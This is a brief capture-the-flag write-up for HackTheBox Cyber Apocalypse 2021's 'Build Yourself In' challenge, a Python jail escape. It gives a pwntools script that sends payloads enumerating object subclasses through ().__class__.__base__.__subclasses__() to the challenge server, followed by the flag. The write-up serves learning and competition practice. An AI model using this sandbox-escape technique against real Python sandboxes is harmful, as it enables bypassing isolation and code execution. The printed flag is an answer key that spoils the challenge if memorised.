Build Yourself In

Writeup for Build Yourself In (Misc) - HackTheBox Cyber Apocalypse CTF (2021) 💜

Video Walkthrough

Challenge Description

The extraterrestrials have upgraded their authentication system and now only them are able to pass. Did you manage to learn their language well enough in order to bypass the the authorization check?

Solution

from pwn import *

context.log_level = 'warning'

for i in range(100):
    io = remote("138.68.151.248", 30697)
    # to_enumerate = '().__class__.__base__.__subclasses__()'
    to_enumerate = '().__class__.__base__.__subclasses__()'
    io.sendlineafter(
        '>>>', '[print(x) for x in [[' + to_enumerate + str(i) + ']]]')
    print(io.recvline())

Flag: CHTB{n0_j4il_c4n_h4ndl3_m3!}